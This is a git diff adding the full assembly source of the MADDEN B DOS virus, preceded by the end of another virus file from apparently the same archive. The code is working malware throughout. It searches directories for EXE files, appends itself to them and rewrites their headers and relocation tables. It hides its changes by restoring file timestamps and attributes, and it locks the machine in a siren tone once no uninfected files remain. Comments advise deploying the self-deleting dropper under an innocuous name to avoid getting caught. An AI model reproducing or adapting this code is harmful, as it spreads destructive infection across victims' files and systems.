ax:dx + add ax,200H ;and set up the new page count + adc dx,bx ;page ct= (ax:dx+512)/512 + push ax + mov cl,9 + shr ax,cl + mov cl,7 + shl dx,cl + add ax,dx + mov WORD PTR [EXE_HDR+4],ax ;and save it here + pop ax + and ax,1FFH ;now calculate last page size + mov WORD PTR [EXE_HDR+2],ax ;and put it here + mov ax,NUMRELS ;adjust relocatables counter + add WORD PTR [EXE_HDR+6],ax + mov cx,1CH ;and save data at start of file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table + dec ax ;in order to calculate location of + dec ax ;where to add relocatables + mov bx,4 ;Location= (No in table-2)*4+Table Offset + mul bx + add ax,WORD PTR [EXE_HDR+24];table offset + mov bx,0 + adc dx,bx ;dx:ax=end of old table in file + mov cx,dx + mov dx,ax + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to table end + int 21H + mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 + mov bx,OFFSET REL1 + inc bx ;offset of REL1 + mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to + mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now + mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 + mov bx,OFFSET REL2 + add bx,3 ;offset of REL2 + mov WORD PTR [EXE_HDR+4],bx ;write it to buffer + mov WORD PTR [EXE_HDR+6],ax + mov cx,8 ;and then write 8 bytes of data in file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + ret ;that's it, infection is complete! + +;-------------------------------------------------------------------------- +;This routine determines whether the reproduction code should be executed. +;If it returns Z, the reproduction code is executed, otherwise it is not. +;Currently, it only executes if the system time variable is a multiple of +;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 +;executions of the program. TIMECT should be 2^n-1 +;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program +;is run. This makes SHOULDRUN return Z for sure the first time, so it +;definitely runs when this loader program is run, but after that, the time must +;be an even multiple of TIMECT+1. +; +TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) +; +SHOULDRUN: + xor ah,ah ;zero ax to start, set z flag +SR1: ret ;this gets replaced by NOP when program runs + int 1AH + and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? + ret ;return with z flag set if it is, else nz set + + +;-------------------------------------------------------------------------- +;SETSR modifies SHOULDRUN so that the full procedure gets run +;it is redundant after the initial load +SETSR: + mov al,90H ;NOP code + mov BYTE PTR SR1,al ;put it in place of RET above + ret ;and return + +;-------------------------------------------------------------------------- +;This routine sets up the new DTA location at DTA1, and saves the location of +;the initial DTA in the variable OLDDTA. +NEW_DTA: + mov ah,2FH ;get current DTA in ES:BX + int 21H + mov WORD PTR [OLDDTA],bx ;save it here + mov ax,es + mov WORD PTR [OLDDTA+2],ax + mov ax,cs + mov es,ax ;set up ES + mov dx,OFFSET DTA1 ;set new DTA offset + mov ah,1AH + int 21H ;and tell DOS where we want it + ret + +;-------------------------------------------------------------------------- +;This routine reverses the action of NEW_DTA and restores the DTA to its +;original value. +RESTORE_DTA: + mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs + mov ax,WORD PTR [OLDDTA+2] + mov ds,ax + mov ah,1AH + int 21H ;and tell DOS where to put it + mov ax,cs ;restore ds before exiting + mov ds,ax + ret + +;-------------------------------------------------------------------------- +;This routine saves the original file attribute in FATTR, the file date and +;time in FDATE and FTIME, and the file size in FSIZE. It also sets the +;file attribute to read/write, and leaves the file opened in read/write +;mode (since it has to open the file to get the date and size), with the handle +;it was opened under in HANDLE. The file path and name is in USEFILE. +SAVE_ATTRIBUTE: + mov ah,43H ;get file attr + mov al,0 + mov dx,OFFSET USEFILE + int 21H + mov [FATTR],cl ;save it here + mov ah,43H ;now set file attr to r/w + mov al,1 + mov dx,OFFSET USEFILE + mov cl,0 + int 21H + mov dx,OFFSET USEFILE + mov al,2 ;now that we know it's r/w + mov ah,3DH ;we can r/w access open file + int 21H + mov [HANDLE],ax ;save file handle here + mov ah,57H ;and get the file date and time + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx ;and save it here + mov [FDATE],dx ;and here + mov ax,WORD PTR [DTA1+28] ;file size was set up here by + mov WORD PTR [FSIZE+2],ax ;search routine + mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE + mov WORD PTR [FSIZE],ax + ret + +;-------------------------------------------------------------------------- +;Restore file attribute, and date and time of the file as they were before +;it was infected. This also closes the file +REST_ATTRIBUTE: + mov dx,[FDATE] ;get old date and time + mov cx,[FTIME] + mov ah,57H ;set file date and time to old value + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] ;close file + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H ;Set file attr to old value + mov al,1 + mov dx,OFFSET USEFILE + int 21H + ret + +FINAL: ;last byte of code to be kept in virus + +VSEG ENDS + + +;-------------------------------------------------------------------------- +;Virus stack segment + +VSTACK SEGMENT PARA STACK + db STACKSIZE dup (?) +VSTACK ENDS + + END VIRUS ;Entry point is the virus diff --git a/m/MADDENB.ASM b/m/MADDENB.ASM new file mode 100755 index 0000000..149c7d8 --- /dev/null +++ b/m/MADDENB.ASM @@ -0,0 +1,771 @@ +;The MADDEN B virus is an EXE file infector which can jump from directory to +;directory and disk to disk. It attaches itself to the end of a file and +;modifies the EXE file header so that it gets control first, before the host +;program. When it is done doing its job, it passes control to the host program, +;so that the host executes without a hint that the virus is there. + + + .SEQ ;segments must appear in sequential order + ;to simulate conditions in actual active virus + + +;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together + +;HOSTSEG program code segment. The virus gains control before this routine and +;attaches itself to another EXE file. As such, the host program for this +;installer simply tries to delete itself off of disk and terminates. That is +;worthwhile if you want to infect a system with the virus without getting +;caught. Just execute the program that infects, and it disappears without a +;trace. You might want to name the program something more innocuous, though. +;MADDEN B also locks the pc into a 'siren' warble when it runs out +;of files to infect. MADDEN, included in this archive plays a fast country +;song. (MADDEN will assemble to an .file using a86, then link to produce +;infected .exe form) + +HOSTSEG SEGMENT BYTE + ASSUME CS:HOSTSEG,SS:HSTACK + +PGMSTR DB 'MADDENB.EXE',0 + +HOST: + mov ax,cs ;we want DS=CS here + mov ds,ax + mov dx,OFFSET PGMSTR + mov ah,41H + int 21H ;delete this exe file + mov ah,4CH + mov al,0 + int 21H ;terminate normally +HOSTSEG ENDS + + +;Host program stack segment + +HSTACK SEGMENT PARA STACK + db 100H dup (?) ;100 bytes long +HSTACK ENDS + +;------------------------------------------------------------------------ +;This is the virus itself + +STACKSIZE EQU 100H ;size of stack for the virus +NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table + +;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together + +;MADDEN Virus code segment. This gains control first, before the host. As this +;ASM file is layed out, this program will look exactly like a simple program +;that was infected by the virus. + +VSEG SEGMENT PARA + ASSUME CS:VSEG,DS:VSEG,SS:VSTACK + +;data storage area comes before any code +VIRUSID DW 0C8AAH ;identifies virus +OLDDTA DD 0 ;old DTA segment and offset +DTA1 DB 2BH dup (?) ;new disk transfer area +DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) +EXE_HDR DB 1CH dup (?) ;buffer for EXE file header +EXEFILE DB '\*.EXE',0 ;search string for an exe file +ALLFILE DB '\*.*',0 ;search string for any file +USEFILE DB 78 dup (?) ;area to put valid file path +LEVEL DB 0 ;depth to search directories for a file +HANDLE DW 0 ;file handle +FATTR DB 0 ;old file attribute storage area +FTIME DW 0 ;old file time stamp storage area +FDATE DW 0 ;old file date stamp storage area +FSIZE DD 0 ;file size storage area +VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there +VCODE DB 1 ;identifies this version +COUNT1 DW 8 ;delay counts used by 'siren' routine +COUNT2 DW 3 +COUNT3 DW 20 +COUNT4 DW 10 +;-------------------------------------------------------------------------- +;MADDEN B virus main routine starts here +VIRUS: + push ax ;save startup info in ax + mov ax,cs + mov ds,ax ;set up DS=CS for the virus + mov ax,es ;get PSP Seg + mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it + call SHOULDRUN ;run only when certain conditions met signalled by z set + jnz REL1 ;conditions aren't met, go execute host program + call SETSR ;modify SHOULDRUN procedure to activate conditions + call NEW_DTA ;set up a new DTA location + call FIND_FILE ;get an exe file to attack + jnz SIREN ;returned nz - no valid files left, siren time! + call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode + call INFECT ;move program code to file we found to attack + call REST_ATTRIBUTE ;restore the original file attributes and close the file +FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup + pop ax ;restore startup value of ax +REL1: ;relocatable marker for host stack segment + mov bx,HSTACK ;set up host program stack segment (ax=segment) + cli ;interrupts off while changing stack + mov ss,bx +REL1A: ;marker for host stack pointer + mov sp,OFFSET HSTACK + mov es,WORD PTR [OLDDTA+2] ;set up ES correctly + mov ds,WORD PTR [OLDDTA+2] ;and DS + sti ;interrupts back on +REL2: ;relocatable marker for host code segment + jmp FAR PTR HOST ;begin execution of host program + +;-------------------------------------------------------------------------- +;First Level - Find a file which passes FILE_OK +; +;This routine does a complex directory search to find an EXE file in the +;current directory, one of its subdirectories, or the root directory or one +;of its subdirectories, to find a file for which FILE_OK returns with C reset. +;If you want to change the depth of the search, make sure to allocate enough +;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, +;since the recursive FINDBR uses a different DTA area for the search (see DOS +;functions 4EH and 4FH) on each level. +; +FIND_FILE: + mov al,'\' ;set up current directory path in USEFILE + mov BYTE PTR [USEFILE],al + mov si,OFFSET USEFILE+1 + xor dl,dl + mov ah,47H + int 21H ;get current dir, USEFILE= \dir + cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root + jnz FF2 ;not the root + xor al,al ;make correction for root directory, + mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' +FF2: mov al,2 + mov [LEVEL],al ;search 2 subdirs deep + call FINDBR ;attempt to locate a valid file + jz FF3 ;found one - exit + xor al,al ;nope - try the root directory + mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' + inc al ;al=1 + mov [LEVEL],al ;search one subdir deep + call FINDBR ;attempt to find file +FF3: + ret ;exit with z flag set by FINDBR to indicate success/failure + +;*************************************************************************** +;This routine enables MADDEN B virus to sound a siren +;when it can't find a file to infect +;************************************************************************** +SIREN: + cli ;no interrupts + mov bp,15 ;we want to do hole thing 15 times + mov al,10110110xb ;set up channel 2 + out 43h,al ;send it to port +AGIN: mov bx,500 ;start frequency high +BACKERX:mov ax,bx ;place it in (ax) + out 42h,al ;send LSB first + mov al,ah ;move MSB into al + out 42h,al ;send it next + in al,61h ;get value from port + or al,00000011xb ;ORing it will turn on speaker + out 61h,al ;send number + mov cx,COUNT1 ;number of delay loops +LOOPERX:loop LOOPERX ;so we can hear sound + inc bx ;increment (bx) lowers frequency pitch + cmp bx,4000 ;have we reached 4000 + jnz BACKERX ;if not do again +BACKERY:mov ax,bx ;if not put (bx) in (ax) + out 42h,al ;send LSB to port + mov al,ah ;place MSB in al + out 42h,al ;send it now + in al,61h ;get value from port + or al,00000011xb ;lets OR it + out 61h,al ;time to turn on speaker + mov cx,COUNT2 ;loop count +LOOPERY:loop LOOPERY ;delay so we can hear sound + dec bx ;decrementing (bx) rises frequency pitch + cmp bx,500 ;have we reach 500 + jnz BACKERY ;if not go back + mov si,COUNT3 ;place longer delay in (si) + mov di,COUNT4 ;place longer delay in (di) + push si ;push it on the stack + push di ;push it on the stack + mov si,COUNT1 ;place first delay in (si) + mov di,COUNT2 ;place second delay in (di) + mov COUNT3,si ;save 1st in COUNT3 for next exchange + mov COUNT4,di ;save 2nd in COUNT4 for next exchange + pop di ;pop longer delay off stack + pop si ;pop longer delay off stack + mov COUNT2,di ;place it in the second + mov COUNT1,si ;place it in the first + dec bp ;decrement repeat count + jnz AGIN ;if not = 0 do hole thing again + in al,61h ;we be done + and al,11111100xb ;this number will turn speaker off + out 61h,al ;send it + sti ;enable interrupts + jmp SIREN + +;-------------------------------------------------------------------------- +;SEARCH FUNCTION +;--------------------------------------------------------------------------- +;Second Level - Find in a branch +; +;This function searches the directory specified in USEFILE for EXE files. +;after searching the specified directory, it searches subdirectories to the +;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this +;routine exits with Z set and leaves the file and path in USEFILE +; +FINDBR: + call FINDEXE ;search current dir for EXE first + jnc FBE3 ;found it - exit + cmp [LEVEL],0 ;no - do we want to go another directory deeper? + jz FBE1 ;no - exit + dec [LEVEL] ;yes - decrement LEVEL and continue + mov di,OFFSET USEFILE ;'\curr_dir' is here + mov si,OFFSET ALLFILE ;'\*.*' is here + call CONCAT ;get '\curr_dir\*.*' in USEFILE + inc di + push di ;store pointer to first * + call FIRSTDIR ;get first subdirectory + jnz FBE ;couldn't find it, so quit +FB1: ;otherwise, check it out + pop di ;strip \*.* off of USEFILE + xor al,al + stosb + mov di,OFFSET USEFILE + mov bx,OFFSET DTA2+1EH + mov al,[LEVEL] + mov dl,2BH ;compute correct DTA location for subdir name + mul dl ;which depends on the depth we're at in the search + add bx,ax ;bx points to directory name + mov si,bx + call CONCAT ;'\curr_dir\sub_dir' put in USEFILE + push di ;save position of first letter in sub_dir name + call FINDBR ;scan the subdirectory and its subdirectories (recursive) + jz FBE2 ;if successful, exit + call NEXTDIR ;get next subdirectory in this directory + jz FB1 ;go check it if search successful +FBE: ;else exit, NZ set, cleaned up + inc [LEVEL] ;increment the level counter before exit + pop di ;strip any path or file spec off of original + xor al,al ;directory path + stosb +FBE1: mov al,1 ;return with NZ set + or al,al + ret + +FBE2: pop di ;successful exit, pull this off the stack +FBE3: xor al,al ;and set Z + ret ;exit + +;-------------------------------------------------------------------------- +;Third Level - Part A - Find an EXE file +; +;This function searches the path in USEFILE for an EXE file which passes +;the test FILE_OK. This routine will return the full path of the EXE file +;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return +;with the c flag set. It will search a whole directory before giving up. +; +FINDEXE: + mov dx,OFFSET DTA1 ;set new DTA for EXE search + mov ah,1AH + int 21H + mov di,OFFSET USEFILE + mov si,OFFSET EXEFILE + call CONCAT ;set up USEFILE with '\dir\*.EXE' + push di ;save position of '\' before '*.EXE' + mov dx,OFFSET USEFILE + mov cx,3FH ;search first for any file + mov ah,4EH + int 21H +NEXTEXE: + or al,al ;is DOS return OK? + jnz FEC ;no - quit with C set + pop di + inc di + stosb ;truncate '\dir\*.EXE' to '\dir\' + mov di,OFFSET USEFILE + mov si,OFFSET DTA1+1EH + call CONCAT ;setup file name '\dir\filename.exe' + dec di + push di + call FILE_OK ;yes - is this a good file to use? + jnc FENC ;yes - valid file found - exit with c reset + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTEXE ;and go test it for validity + +FEC: ;no valid file found, return with C set + pop di + mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir + stc + ret +FENC: ;valid file found, return with NC + pop di + ret + + +;-------------------------------------------------------------------------- +;Third Level - Part B - Find a subdirectory +; +;This function searches the file path in USEFILE for subdirectories, excluding +;the subdirectory header entries. If one is found, it returns with Z set, and +;if not, it returns with NZ set. +;There are two entry points here, FIRSTDIR, which does the search first, and +;NEXTDIR, which does the search next. +; +FIRSTDIR: + call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) + push dx ;save it + mov ah,1AH ;set DTA + int 21H + mov dx,OFFSET USEFILE + mov cx,10H ;search for a directory + mov ah,4EH ;do search first function + int 21H +NEXTD1: + pop bx ;get pointer to search table (DTA) + or al,al ;successful search? + jnz NEXTD3 ;no, quit with NZ set + test BYTE PTR [bx+15H],10H ;is this a directory? + jz NEXTDIR ;no, find another + cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? + jne NEXTD2 ;no - valid directory, exit, setting Z flag + ;else it was dir header entry, so fall through to next +NEXTDIR: ;second entry point for search next + call GET_DTA ;get proper DTA address again - may not be set up + push dx + mov ah,1AH ;set DTA + int 21H + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTD1 ;and loop to check the validity of the return + +NEXTD2: + xor al,al ;successful exit, set Z flag +NEXTD3: + ret ;exit routine + +;-------------------------------------------------------------------------- +;Return the DTA address associated to LEVEL in dx. This is simply given by +;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record +;in its own DTA, since a search at a lower level occurs in the middle of the +;higher level search, and we don't want the higher level being ruined by +;corrupted data. +; +GET_DTA: + mov dx,OFFSET DTA2 + mov al,2BH + mul [LEVEL] + add dx,ax ;return with dx= proper dta offset + ret + +;-------------------------------------------------------------------------- +;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz +;string at ES:DI. Return ES:DI pointing to the end of the first string in the +;destination (or the first character of the second string, after moved). +; +CONCAT: + mov al,byte ptr es:[di] ;find the end of string 1 + inc di + or al,al + jnz CONCAT + dec di ;di points to the null at the end + push di ;save it to return to the caller +CONCAT2: + cld + lodsb ;move second string to end of first + stosb + or al,al + jnz CONCAT2 + pop di ;and restore di to point to end of string 1 + ret + + +;-------------------------------------------------------------------------- +;Function to determine whether the EXE file specified in USEFILE is useable. +;if so return nc, else return c +;What makes an EXE file useable?: +; a) The signature field in the EXE header must be 'MZ'. (These +; are the first two bytes in the file.) +; b) The Overlay Number field in the EXE header must be zero. +; c) There must be room in the relocatable table for NUMRELS +; more relocatables without enlarging it. +; d) The word VIRUSID must not appear in the 2 bytes just before +; the initial CS:0000 of the test file. If it does, the virus +; is probably already in that file, so we skip it. +; +FILE_OK: + call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR + jc OK_END ;error in reading the file, so quit + call CHECK_SIG_OVERLAY ;is the overlay number zero? + jc OK_END ;no - exit with c set + call REL_ROOM ;is there room in the relocatable table? + jc OK_END ;no - exit + call IS_ID_THERE ;is id at CS:0000? +OK_END: ret ;return with c flag set properly + +;-------------------------------------------------------------------------- +;Returns c if signature in the EXE header is anything but 'MZ' or the overlay +;number is anything but zero. +CHECK_SIG_OVERLAY: + mov al,'M' ;check the signature first + mov ah,'Z' + cmp ax,WORD PTR [EXE_HDR] + jz CSO_1 ;jump if OK + stc ;else set carry and exit + ret +CSO_1: xor ax,ax + sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 + ret ;c is set if it's anything but 0 + +;-------------------------------------------------------------------------- +;This function reads the 28 byte EXE file header for the file named in USEFILE. +;It puts the header in EXE_HDR, and returns c set if unsuccessful. +; +GET_EXE_HEADER: + mov dx,OFFSET USEFILE + mov ax,3D02H ;r/w access open file + int 21H + jc RE_RET ;error opening - C set - quit without closing + mov [HANDLE],ax ;else save file handle + mov bx,ax ;handle to bx + mov cx,1CH ;read 28 byte EXE file header + mov dx,OFFSET EXE_HDR ;into this buffer + mov ah,3FH + int 21H +RE_RET: ret ;return with c set properly + +;-------------------------------------------------------------------------- +;This function determines if there are at least NUMRELS openings in the +;current relocatable table in USEFILE. If there are, it returns with +;carry reset, otherwise it returns with carry set. The computation +;this routine does is to compare whether +; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table +;is >= than 4 * NUMRELS. If it is, then there is enough room +; +REL_ROOM: + mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables + add ax,ax + add ax,ax + sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table + cmp ax,4*NUMRELS ;enough room to put relocatables in? +RR_RET: ret ;exit with carry set properly + + +;-------------------------------------------------------------------------- +;This function determines whether the word at the initial CS:0000 in USEFILE +;is the same as VIRUSID in this program. If it is, it returns c set, otherwise +;it returns c reset. +; +IS_ID_THERE: + mov ax,WORD PTR [EXE_HDR+22] ;Initial CS + add ax,WORD PTR [EXE_HDR+8] ;Header size + mov dx,16 + mul dx + mov cx,dx + mov dx,ax ;cxdx = position to look for VIRUSID in file + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H + mov ah,3FH + mov bx,[HANDLE] + mov dx,OFFSET VIDC + mov cx,2 ;read 2 bytes into VIDC + int 21H + jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file + mov ax,[VIDC] + cmp ax,[VIRUSID] ;is it the VIRUSID? + clc + jnz II_RET ;if not, then virus is not already in this file + stc ;else it is probably there already +II_RET: ret + + +;-------------------------------------------------------------------------- +;This routine makes sure file end is at paragraph boundary, so the virus +;can be attached with a valid CS. Assumes file pointer is at end of file. +SETBDY: + mov al,BYTE PTR [FSIZE] + and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) + jz SB_E ;all set - exit + mov cx,10H ;no - write any old bytes to even it up + sub cl,al ;number of bytes to write in cx + mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) + add WORD PTR [FSIZE],cx ;update FSIZE + adc WORD PTR [FSIZE+2],0 + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H +SB_E: ret + +;-------------------------------------------------------------------------- +;This routine moves the virus (this program) to the end of the EXE file +;Basically, it just copies everything here to there, and then goes and +;adjusts the EXE file header and two relocatables in the program, so that +;it will work in the new environment. It also makes sure the virus starts +;on a paragraph boundary, and adds how many bytes are necessary to do that. +; +INFECT: + mov cx,WORD PTR [FSIZE+2] + mov dx,WORD PTR [FSIZE] + mov bx,[HANDLE] + mov ax,4200H ;set file pointer, relative to beginning + int 21H ;go to end of file + call SETBDY ;lengthen to a paragraph boundary if necessary + mov cx,OFFSET FINAL ;last byte of code + xor dx,dx ;first byte of code, DS:DX + mov bx,[HANDLE] ;move virus code to end of file being attacked with + mov ah,40H ;DOS write function + int 21H + mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file + inc bx + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx is that number + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to 1st relocatable + int 21H + mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program + mov bx,[HANDLE] ;from the EXE header + mov cx,2 + mov ah,40H ;and write it to relocatable REL1+1 + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL1A ;put in correct old SP from EXE header + inc bx ;at FSIZE+REL1A+1 + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL1A+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to place to write SP to + int 21H + mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program + mov bx,[HANDLE] ;from EXE header + mov cx,2 + mov ah,40H ;and write it where it belongs + int 21H + mov dx,WORD PTR [FSIZE] + mov cx,WORD PTR [FSIZE+2] + mov bx,OFFSET REL2 ;put in correct old CS:IP in program + add bx,1 ;at FSIZE+REL2+1 on disk + add dx,bx + mov bx,0 + adc cx,bx ;cx:dx points to FSIZE+REL2+1 + mov bx,[HANDLE] + mov ax,4200H ;set file pointer relavtive to start of file + int 21H + mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header + mov bx,[HANDLE] + mov cx,4 + mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 + int 21H + ;done writing relocatable vectors + ;so now adjust the EXE header values + xor cx,cx + xor dx,dx + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to start of file + int 21H + mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) + mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) + shr ax,cl + mov bx,WORD PTR [FSIZE+2] + and bl,0FH + mov cl,4 + shl bl,cl + add ah,bl + sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) + mov WORD PTR [EXE_HDR+22],ax;and save as initial CS + mov bx,OFFSET FINAL ;compute new initial SS + add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) + mov cl,4 + shr bx,cl + add ax,bx + mov WORD PTR [EXE_HDR+14],ax ;and save it + mov ax,OFFSET VIRUS ;get initial IP + mov WORD PTR [EXE_HDR+20],ax ;and save it + mov ax,STACKSIZE ;get initial SP + mov WORD PTR [EXE_HDR+16],ax ;and save it + mov dx,WORD PTR [FSIZE+2] + mov ax,WORD PTR [FSIZE] ;calculate new file size + mov bx,OFFSET FINAL + add ax,bx + xor bx,bx + adc dx,bx ;put it in ax:dx + add ax,200H ;and set up the new page count + adc dx,bx ;page ct= (ax:dx+512)/512 + push ax + mov cl,9 + shr ax,cl + mov cl,7 + shl dx,cl + add ax,dx + mov WORD PTR [EXE_HDR+4],ax ;and save it here + pop ax + and ax,1FFH ;now calculate last page size + mov WORD PTR [EXE_HDR+2],ax ;and put it here + mov ax,NUMRELS ;adjust relocatables counter + add WORD PTR [EXE_HDR+6],ax + mov cx,1CH ;and save data at start of file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table + dec ax ;in order to calculate location of + dec ax ;where to add relocatables + mov bx,4 ;Location= (No in table-2)*4+Table Offset + mul bx + add ax,WORD PTR [EXE_HDR+24];table offset + mov bx,0 + adc dx,bx ;dx:ax=end of old table in file + mov cx,dx + mov dx,ax + mov bx,[HANDLE] + mov ax,4200H ;set file pointer to table end + int 21H + mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 + mov bx,OFFSET REL1 + inc bx ;offset of REL1 + mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to + mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now + mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 + mov bx,OFFSET REL2 + add bx,3 ;offset of REL2 + mov WORD PTR [EXE_HDR+4],bx ;write it to buffer + mov WORD PTR [EXE_HDR+6],ax + mov cx,8 ;and then write 8 bytes of data in file + mov dx,OFFSET EXE_HDR + mov bx,[HANDLE] + mov ah,40H ;DOS write function + int 21H + ret ;that's it, infection is complete! + +;-------------------------------------------------------------------------- +;This routine determines whether the reproduction code should be executed. +;If it returns Z, the reproduction code is executed, otherwise it is not. +;Currently, it only executes if the system time variable is a multiple of +;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 +;executions of the program. TIMECT should be 2^n-1 +;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program +;is run. This makes SHOULDRUN return Z for sure the first time, so it +;definitely runs when this loader program is run, but after that, the time must +;be an even multiple of TIMECT+1. +; +TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) +; +SHOULDRUN: + xor ah,ah ;zero ax to start, set z flag +SR1: ret ;this gets replaced by NOP when program runs + int 1AH + and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? + ret ;return with z flag set if it is, else nz set + + +;-------------------------------------------------------------------------- +;SETSR modifies SHOULDRUN so that the full procedure gets run +;it is redundant after the initial load +SETSR: + mov al,90H ;NOP code + mov BYTE PTR SR1,al ;put it in place of RET above + ret ;and return + +;-------------------------------------------------------------------------- +;This routine sets up the new DTA location at DTA1, and saves the location of +;the initial DTA in the variable OLDDTA. +NEW_DTA: + mov ah,2FH ;get current DTA in ES:BX + int 21H + mov WORD PTR [OLDDTA],bx ;save it here + mov ax,es + mov WORD PTR [OLDDTA+2],ax + mov ax,cs + mov es,ax ;set up ES + mov dx,OFFSET DTA1 ;set new DTA offset + mov ah,1AH + int 21H ;and tell DOS where we want it + ret + +;-------------------------------------------------------------------------- +;This routine reverses the action of NEW_DTA and restores the DTA to its +;original value. +RESTORE_DTA: + mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs + mov ax,WORD PTR [OLDDTA+2] + mov ds,ax + mov ah,1AH + int 21H ;and tell DOS where to put it + mov ax,cs ;restore ds before exiting + mov ds,ax + ret + +;-------------------------------------------------------------------------- +;This routine saves the original file attribute in FATTR, the file date and +;time in FDATE and FTIME, and the file size in FSIZE. It also sets the +;file attribute to read/write, and leaves the file opened in read/write +;mode (since it has to open the file to get the date and size), with the handle +;it was opened under in HANDLE. The file path and name is in USEFILE. +SAVE_ATTRIBUTE: + mov ah,43H ;get file attr + mov al,0 + mov dx,OFFSET USEFILE + int 21H + mov [FATTR],cl ;save it here + mov ah,43H ;now set file attr to r/w + mov al,1 + mov dx,OFFSET USEFILE + mov cl,0 + int 21H + mov dx,OFFSET USEFILE + mov al,2 ;now that we know it's r/w + mov ah,3DH ;we can r/w access open file + int 21H + mov [HANDLE],ax ;save file handle here + mov ah,57H ;and get the file date and time + xor al,al + mov bx,[HANDLE] + int 21H + mov [FTIME],cx ;and save it here + mov [FDATE],dx ;and here + mov ax,WORD PTR [DTA1+28] ;file size was set up here by + mov WORD PTR [FSIZE+2],ax ;search routine + mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE + mov WORD PTR [FSIZE],ax + ret + +;-------------------------------------------------------------------------- +;Restore file attribute, and date and time of the file as they were before +;it was infected. This also closes the file +REST_ATTRIBUTE: + mov dx,[FDATE] ;get old date and time + mov cx,[FTIME] + mov ah,57H ;set file date and time to old value + mov al,1 + mov bx,[HANDLE] + int 21H + mov ah,3EH + mov bx,[HANDLE] ;close file + int 21H + mov cl,[FATTR] + xor ch,ch + mov ah,43H ;Set file attr to old value + mov al,1 + mov dx,OFFSET USEFILE + int 21H + ret + +FINAL: ;last byte of code to be kept in virus + +VSEG ENDS + + +;-------------------------------------------------------------------------- +;Virus stack segment + +VSTACK SEGMENT PARA STACK + db STACKSIZE dup (?) +VSTACK ENDS + + END 